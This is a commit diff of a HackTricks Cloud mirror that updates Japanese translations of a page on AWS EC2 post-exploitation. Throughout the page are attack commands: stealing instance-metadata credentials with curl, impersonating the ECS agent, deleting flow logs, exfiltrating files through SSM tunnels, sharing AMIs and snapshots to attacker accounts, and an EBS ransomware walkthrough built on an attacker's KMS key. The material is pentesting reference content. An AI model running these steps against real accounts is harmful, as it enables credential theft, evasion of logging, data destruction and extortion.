mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
For more information check:
|
||||
詳細は次を参照してください：
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,18 +12,18 @@ For more information check:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroringは、インスタンス自身に何もインストールする必要なく、**VPC内のEC2インスタンスに対する受信および送信トラフィックを複製します**。この複製されたトラフィックは、通常、解析や監視のためにネットワーク侵入検知システム(IDS)のようなものに送られます。
|
||||
攻撃者はこれを悪用してすべてのトラフィックをキャプチャし、そこから機密情報を取得することができます:
|
||||
VPC traffic mirroring は、インスタンス自体に何かをインストールする必要なく、VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します。複製されたトラフィックは通常、解析や監視のためにネットワーク侵入検知システム (IDS) のようなものに送られます。\
|
||||
攻撃者はこれを悪用してすべてのトラフィックを取得し、機密情報を入手する可能性があります：
|
||||
|
||||
For more information check this page:
|
||||
詳細は次のページを参照してください：
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### 実行中インスタンスのコピー
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
インスタンスには通常、何らかの機密情報が含まれています。侵入する方法はいくつかあります（詳細は [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md) を参照）。ただし、その中身を確認する別の方法として、**AMI を作成し、それから新しいインスタンスを起動する（自分のアカウント内でも可）** があります：
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots are backups of volumes**, 通常は**敏感な情報**を含むため、確認するとこれらの情報が判明するはずです。\
|
||||
もし**volume without a snapshot**を見つけたら: **Create a snapshot**して以下の操作を行うか、または単に**mount it in an instance**してアカウント内のinstanceにマウントしてください。
|
||||
**Snapshotsはボリュームのバックアップです**、通常は**機密情報**を含むため、確認するとその情報が明らかになります。\
|
||||
もし**snapshotのない volume**を見つけたら、**Create a snapshot**して以下の操作を行うか、アカウント内のインスタンスに**mount it in an instance**するだけです:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
EC2 AMIを`CreateStoreImageTask`で直接S3にエクスポートし、snapshot共有なしで生のディスクイメージを取得します。これにより、インスタンスのネットワークを触らずに完全なオフラインフォレンジックやデータ窃取が可能になります。
|
||||
CreateStoreImageTaskを使ってEC2 AMIを直接S3にエクスポートし、スナップショット共有なしで生のディスクイメージを取得します。これにより、インスタンスのネットワーク設定を変更せずに完全なオフライン鑑識やデータ窃取が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
io1/io2のMulti-Attach volumeを第二のinstanceにアタッチし、読み取り専用でマウントしてsnapshotを使わずにライブデータを吸い上げます。被害対象のvolumeが同一のAZ内で既にMulti-Attach有効の場合に有効です。
|
||||
io1/io2のMulti-Attachボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを作成せずにライブデータを吸い上げます。被害ボリュームが同一AZ内で既にMulti-Attach有効の場合に有用です。
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
EC2 Instance Connect Endpointを作成し、ingressを許可して一時的なSSHキーを注入することで、managed tunnel経由でprivate instancesへアクセスできます。public portsを開けずに迅速な lateral movement経路を確保します。
|
||||
EC2 Instance Connect Endpointを作成し、ingressを許可してエフェメラルなSSHキーを注入し、マネージドトンネル経由でプライベートインスタンスにアクセスします。パブリックポートを開けずに迅速なラテラルムーブメント経路を提供します。
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
被害者のENIのsecondary private IPを攻撃者が制御するENIに移動して、IPでallowlistedされている信頼ホストをなりすますことができます。特定のアドレスに紐づく内部ACLやSGルールをバイパス可能にします。
|
||||
被害者のENIのセカンダリプライベートIPを攻撃者管理下のENIに移動して、IPで許可された信頼ホストを偽装します。特定のアドレスに紐づく内部ACLやSGルールのバイパスを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
被害者のinstanceからElastic IPを攻撃者に再関連付けして、インバウンドトラフィックを傍受したり、信頼されたpublic IPに見える発信接続を行ったりします。
|
||||
被害インスタンスからElastic IPを攻撃者に再関連付けすることで、受信トラフィックを傍受したり、信頼されたパブリックIPからの発信のように見えるアウトバウンド接続を発信できます。
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
security groupルールがcustomer-managed prefix listを参照している場合、攻撃者のCIDRをそのリストに追加することで、SG自体を変更せずに依存するすべてのSGルールへのアクセスが静かに拡大します。
|
||||
セキュリティグループのルールがcustomer-managed prefix listを参照している場合、攻撃者のCIDRをそのリストに追加すると、SG自体を変更せずに依存するすべてのSGルールでアクセスが静かに拡大します。
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
gatewayまたはinterfaceのVPC endpointsを作成して、isolated subnetsからのoutboundアクセスを回復します。AWS-managed private linksを利用することで、IGWやNATがない制御をバイパスしてdata exfiltrationが可能になります。
|
||||
gatewayまたはinterfaceのVPC endpointを作成して、隔離されたサブネットからのアウトバウンドアクセスを回復します。AWS-managed private linksを活用することで、IGW/NATの不在による制御を回避してデータの流出が可能になります。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
ec2:AuthorizeSecurityGroupIngress権限を持つ攻撃者は、security groupsにインバウンドルールを追加できます（例えば0.0.0.0/0からのtcp:80を許可するなど）。これにより内部サービスがpublic Internetやそれ以外の未承認ネットワークへ曝露されます。
|
||||
ec2:AuthorizeSecurityGroupIngressの権限を持つ攻撃者は、セキュリティグループにインバウンドルールを追加できます（例: 0.0.0.0/0からのtcp:80を許可するなど）。これにより内部サービスがパブリックインターネットや本来許可されていないネットワークに晒されます。
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
ec2:ReplaceNetworkAclEntry（または同等）の権限を持つ攻撃者は、subnet の Network ACLs (NACLs) を変更して非常に許容的にすることができます。例えば重要なポートで 0.0.0.0/0 を許可することで、subnet 全体の範囲がインターネットや未承認のネットワークセグメントにさらされます。Security Groups が per-instance 単位で適用されるのに対し、NACLs は subnet level で適用されるため、制限的な NACL を変更すると、多数の hosts へのアクセスを有効にして、より大きな blast radius をもたらす可能性があります。
|
||||
ec2:ReplaceNetworkAclEntry（または類似の）権限を持つ攻撃者は、subnet の Network ACLs (NACLs) を変更して非常に許容的にすることができます — 例えば重要なポートで 0.0.0.0/0 を許可することで、サブネット全体の範囲をインターネットや権限のないネットワークセグメントにさらしてしまいます。インスタンス単位で適用される Security Groups と異なり、NACLs はサブネットレベルで適用されるため、制限的な NACL を変更すると、多数のホストへのアクセスを可能にして、はるかに大きな blast radius をもたらす可能性があります。
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -131,16 +131,16 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
ec2:Delete* および iam:Remove* 権限を持つ攻撃者は、重要なインフラ資源や設定を削除できます — 例えば key pairs、launch templates/versions、AMIs/snapshots、volumes や attachments、security groups や rules、ENIs/network endpoints、route tables、gateways、または managed endpoints などです。これにより即時のサービス停止、データ損失、及びフォレンジック証拠の消失が発生する可能性があります。
|
||||
ec2:Delete* と iam:Remove* の権限を持つ攻撃者は、重要なインフラリソースや設定（例えば key pairs、launch templates/versions、AMIs/snapshots、volumes や attachments、security groups や rules、ENIs/network endpoints、route tables、gateways、または managed endpoints）を削除できます。これは即時のサービス停止、データ損失、フォレンジック証拠の喪失を引き起こします。
|
||||
|
||||
One example is deleting a security group:
|
||||
一例として security group を削除するコマンド:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウント外でネットワークのメタデータ（source/destination、ports）を継続的に収集し、長期的な偵察に利用できます。
|
||||
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害アカウント外にネットワークのメタデータ（送信元/宛先、ポート）を継続的に収集し、長期的な偵察に利用されます。
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -150,99 +150,132 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
EC2 をロックダウンして外向きトラフィックを遮断しても、**exfil via DNS** によりデータが持ち出される可能性があります。
|
||||
たとえ EC2 のアウトバウンドを制限しても、**exfil via DNS** は可能です。
|
||||
|
||||
- **VPC Flow Logs はこれを記録しません**。
|
||||
- AWS DNS logs へのアクセス権がありません。
|
||||
- "enableDnsSupport" を false に設定してこれを無効化します:
|
||||
- AWS DNS logs へのアクセス権はありません。
|
||||
- これを無効にするには、"enableDnsSupport" を false に設定します:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
攻撃者は自身が管理するアカウントの API エンドポイントを呼び出す可能性があります。Cloudtrail はこれらの呼び出しをログに記録し、攻撃者は Cloudtrail ログ内で exfiltrate したデータを確認できます。
|
||||
攻撃者は自分が管理するアカウントの API エンドポイントを呼び出す可能性があります。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail のログ内で流出したデータを確認できる可能性があります。
|
||||
|
||||
### Open Security Group
|
||||
|
||||
以下のようにポートを開くことで、ネットワークサービスへのさらなるアクセスを得られる可能性があります:
|
||||
ネットワークサービスへのさらなるアクセスを得るために、次のようにポートを開放することができます：
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
EC2インスタンスを実行し、ECSインスタンスを実行するために使用されるよう登録して、ECSインスタンスのデータを盗むことが可能です。
|
||||
EC2 container instance上で動く任意のECS task内での侵害は、通常ホスト権限やそのノード上の他のすべてのtaskに紐づくIAM rolesへピボットするのに十分です。**ECS-on-EC2にはタスク分離がない**ため、各タスクはデフォルトでEC2 Instance Metadata Service (IMDS) を問い合わせてコンテナ instance profile を盗み、ECS agent がコントロールプレーンとやり取りするのと同じWebSocketプロトコル（**ECScape**プリミティブ）で接続して、そのホスト上で現在スケジュールされているすべてのタスクの資格情報を要求できます。Latacoraはこのワークフローを彼らの [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) で文書化しており、以下はその攻撃的な要約です。
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
#### Attack chain
|
||||
|
||||
### VPC flow logs の削除
|
||||
1. **Steal the instance profile from inside the container.** IMDSv2 が要求されていると仮定して、まずトークンを要求し、それからプロファイルを取得します。
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
|
||||
2. **Use the container instance role to impersonate the ECS agent.** それらの資格情報を使えば、ECS agent が使う非公開のWebSocketチャネルで通信できます；コントロールプレーンはあなたを本物のエージェントとして信頼し、ホスト上で現在稼働中の**すべてのタスクのIAM資格情報**をあなたのプロセスに配信します。これにより、ローカルでより高権限のタスクを実行したり、タスク環境のシークレットをダンプしたり、サービス/タスクを更新して完全に調査できるワークロードを再デプロイしたりできます。
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
`HttpTokens=required` と `HttpPutResponseHopLimit=1` を設定しても、追加のホップ（Docker bridge）の背後にいるタスクだけがブロックされます。他のネットワークモードはNitroコントローラから1ホップ以内に留まるため、トークンとメタデータの応答は届きます：
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | 各タスクが専用のENIを持ち、IMDSからはまだ1ホップ内なのでトークンとメタデータの応答は正常に到達します。 |
|
||||
| `host` | ✅ | タスクはホストのネームスペースを共有するため、EC2インスタンスと同じホップ距離が見えます。 |
|
||||
| `bridge` | ❌ | 余分なホップがDocker bridge上でホップ制限を使い果たすため、応答が失われます。 |
|
||||
|
||||
したがって、**hop limit 1 が awsvpc や host モードのワークロードを保護するとは決して仮定しないでください** — コンテナ内から必ずテストしてください。
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Nitroがオンホストでリンクローカル 169.254.169.254 を注入するため、Security groups、NACL、ルーティングの調整でこのアドレスをブロックすることはできません。`/etc/ecs/ecs.config` を確認し、`ECS_AWSVPC_BLOCK_IMDS=true` が設定されているかを見ます。フラグがない（デフォルト）の場合、タスクから直接IMDSへcurlできます。設定されている場合は、ホスト/エージェントのネームスペースへピボットしてそれを切り替えるか、awsvpc外でツールを実行してください。
|
||||
|
||||
- **bridge mode:** hop limit 1 が設定されているのにメタデータ要求が失敗する場合、守備側はおそらく `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP` のような `DOCKER-USER` drop ルールを挿入しています。`iptables -S DOCKER-USER` を列挙するとそれが露見し、root 権限があればルールを削除または順序を変更してからIMDSをクエリできます。
|
||||
|
||||
- **host mode:** エージェント設定で `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false` を確認してください。その設定はタスクIAMロールを完全に削除するため、再度有効化するか、awsvpcタスクに移行するか、ホスト上の別プロセスを経由して資格情報を盗む必要があります。値が `true`（デフォルト）の場合、カスタムのeBPF/cgroupフィルタが `169.254.169.254` をターゲットにしていない限り、侵害されたコンテナを含む全てのホストモードプロセスがIMDSに到達できます；tc/eBPFプログラムやそのアドレスを参照するiptablesルールを探してください。
|
||||
|
||||
Latacoraは、どのネットワークモードがまだメタデータを公開しているかを列挙するためにターゲットアカウントに落とせる [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) も公開しています。これを使って次の行動を計画してください。
|
||||
|
||||
どのモードがIMDSを公開しているかを把握したら、任意のECSタスクをターゲットにし、インスタンスプロファイルを要求し、エージェントを偽装してクラスター内の横移動や永続化のために他のすべてのタスクロールを収集することができます。
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
### SSM ポートフォワーディング
|
||||
|
||||
必要な権限:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
コマンド実行に加えて、SSMはトラフィックトンネリングを可能にし、Security Groups や NACLs によりネットワークアクセスがない EC2 インスタンスから pivot するために悪用される可能性があります。
|
||||
この機能が有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへ pivot する場合です。
|
||||
SSM はコマンド実行に加え、トラフィックのトンネリングを可能にします。これを悪用して、Security Groups や NACLs のためにネットワークアクセスがない EC2 インスタンスからピボットすることができます。
|
||||
この機能が有用なシナリオの一つは、[Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) からプライベートな EKS クラスターへピボットする場合です。
|
||||
|
||||
> セッションを開始するには SessionManagerPlugin をインストールする必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> セッションを開始するには SessionManagerPlugin をインストールしておく必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. お使いのマシンに SessionManagerPlugin をインストールする
|
||||
2. 次のコマンドを使って Bastion EC2 にログインする:
|
||||
2. 次のコマンドを使って Bastion EC2 にログインします:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) スクリプトを使って Bastion EC2 の AWS 一時的な資格情報を取得する
|
||||
4. 取得した資格情報を自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして転送する
|
||||
3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script
|
||||
4. 自分のマシンの `$HOME/.aws/credentials` ファイルに `[bastion-ec2]` プロファイルとして認証情報を転送する
|
||||
5. Bastion EC2 として EKS にログインする:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` ファイル内の `server` フィールドを `https://localhost` を指すように更新します
|
||||
7. 次のように SSM トンネルを作成します:
|
||||
6. `$HOME/.kube/config` ファイルの `server` フィールドを `https://localhost` に設定する
|
||||
7. 次のように SSM トンネルを作成する:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` ツールからのトラフィックは現在 SSM tunnel を介して Bastion EC2 経由で転送されており、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
|
||||
8. `kubectl` ツールからのトラフィックは、SSM トンネルを介して Bastion EC2 経由で転送されるようになり、次のコマンドを実行することで自分のマシンからプライベート EKS クラスターにアクセスできます:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
注意: SSL 接続は `--insecure-skip-tls-verify` フラグ（または K8s の監査ツールで同等のオプション）を設定しないと失敗する点に注意してください。トラフィックが安全な AWS SSM トンネル経由でトンネリングされているため、あらゆる種類の MitM 攻撃からは保護されています。
|
||||
|
||||
最後に、この手法はプライベート EKS クラスターを攻撃することに限定されるものではありません。任意のドメインとポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットすることができます。
|
||||
最後に、この手法は private EKS クラスターを攻撃することに特有のものではありません。任意のドメインやポートを設定して他の AWS サービスやカスタムアプリケーションへピボットできます。
|
||||
|
||||
---
|
||||
|
||||
#### クイック ローカル ↔️ リモート ポートフォワード (AWS-StartPortForwardingSession)
|
||||
#### Quick Local ↔️ Remote ポートフォワード (AWS-StartPortForwardingSession)
|
||||
|
||||
もし **EC2 インスタンスからローカルホストへ 1つの TCP ポートのみをフォワード** するだけなら、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）:
|
||||
もし EC2 インスタンスからローカルホストへ**1つの TCP ポート**だけ転送する必要がある場合、`AWS-StartPortForwardingSession` SSM ドキュメントを使用できます（リモートホストパラメータは不要です）：
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
このコマンドは、ワークステーション（`localPortNumber`）とインスタンス上の選択したポート（`portNumber`）との間に、**インバウンド Security-Group ルールを開くことなく**双方向トンネルを確立します。
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
|
||||
Common use cases:
|
||||
一般的なユースケース:
|
||||
|
||||
* **File exfiltration**
|
||||
1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易 HTTP server を起動します:
|
||||
1. インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバを起動します:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. ワークステーションから SSM トンネル経由でファイルを取得します:
|
||||
2. ワークステーションからSSM tunnel経由でファイルを取得します:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **内部の Web アプリケーションへのアクセス (例: Nessus)**
|
||||
* **Accessing internal web applications (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -250,28 +283,28 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
ヒント: 証拠を exfiltrating する前に圧縮して暗号化し、CloudTrail が平文の内容をログに記録しないようにする:
|
||||
ヒント: 証拠をexfiltratingする前にCompressおよびencryptしておくと、CloudTrailはclear-text contentをログに記録しません:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
```
|
||||
### AMI を共有する
|
||||
### AMIを共有
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### パブリックおよびプライベート AMIs 内の機密情報を検索する
|
||||
### 公開およびプライベートな AMIs 内の機密情報を検索
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する**ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、ボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel は **公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索するための** ツールです。インスタンスをターゲット AMIs から起動し、ボリュームをマウントして、潜在的な secrets や機密データをスキャンするプロセスを自動化します。
|
||||
|
||||
### EBS Snapshot を共有
|
||||
### EBS Snapshot の共有
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
これは S3 post-exploitation notes に示された Ransomware デモに類似した PoC（概念実証）です。KMS は、様々な AWS サービスを暗号化するのが非常に簡単であることから、RMS（Ransomware Management Service）と呼ぶべきでしょう。
|
||||
S3 post-exploitation notesに示されたRansomwareデモに類似したPoCです。KMSは、さまざまなAWSサービスを簡単に暗号化できることから、Ransomware Management ServiceのRMSに改名されるべきです。
|
||||
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
まず、'attacker'のAWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実のシナリオでは悪意ある行為者がキーをAWSの管理外に保持するでしょう。key policyを変更し、任意のAWSアカウントPrincipalがキーを使用できるようにします。このkey policyでは、アカウント名が 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と名付けられています。
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -363,7 +396,7 @@ First from an 'attacker' AWS account, create a customer managed key in KMS. For
|
||||
]
|
||||
}
|
||||
```
|
||||
キーのポリシールールでは、EBS ボリュームを暗号化するために使用できるように、次の権限が有効になっている必要があります:
|
||||
キー ポリシールールには、EBS ボリュームを暗号化するために使用できるように、次の操作が有効になっている必要があります:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -371,21 +404,21 @@ First from an 'attacker' AWS account, create a customer managed key in KMS. For
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
公開アクセス可能なキーが利用できるようになったので、未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスをいくつか稼働させている 'victim' アカウントを利用できます。対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたと仮定したものです。
|
||||
公開アクセス可能なキーが利用できるようになったので、未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつかある 'victim' アカウントを使用できます。 この 'victim' アカウントの EBS ボリュームが暗号化の対象であり、この攻撃は高権限の AWS アカウントが侵害されたという想定のもとで行われます。
|
||||
|
||||
 
|
||||
 
|
||||
|
||||
S3 ransomware の例と同様に、この攻撃ではアタッチされた EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーで新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使った snapshots を削除します。 
|
||||
S3 の ransomware の例と同様です。 この攻撃では、スナップショットを使用してアタッチされている EBS ボリュームのコピーを作成し、'attacker' アカウントの公開されているキーで新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使ったスナップショットを削除します。 
|
||||
|
||||
これにより、アカウント内に残るのは暗号化された EBS ボリュームのみになります。
|
||||
|
||||
|
||||
|
||||
|
||||
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止した点にも注意してください。元の未暗号化ボリュームはもう存在しません。
|
||||
また、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止した点にも注意してください。 元の未暗号化のボリュームはもう消えています。
|
||||
|
||||
|
||||
|
||||
|
||||
次に、'attacker' アカウントの key policy に戻り、key policy から 'Outside Encryption' ポリシールールを削除します。
|
||||
次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' のポリシールールを削除します。
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -456,15 +489,15 @@ S3 ransomware の例と同様に、この攻撃ではアタッチされた EBS
|
||||
]
|
||||
}
|
||||
```
|
||||
新しく設定したキー ポリシーが反映されるまで少し待ちます。次に「被害者」アカウントに戻り、新たに暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームはアタッチできることが確認できるでしょう。
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
|
||||
 
|
||||
|
||||
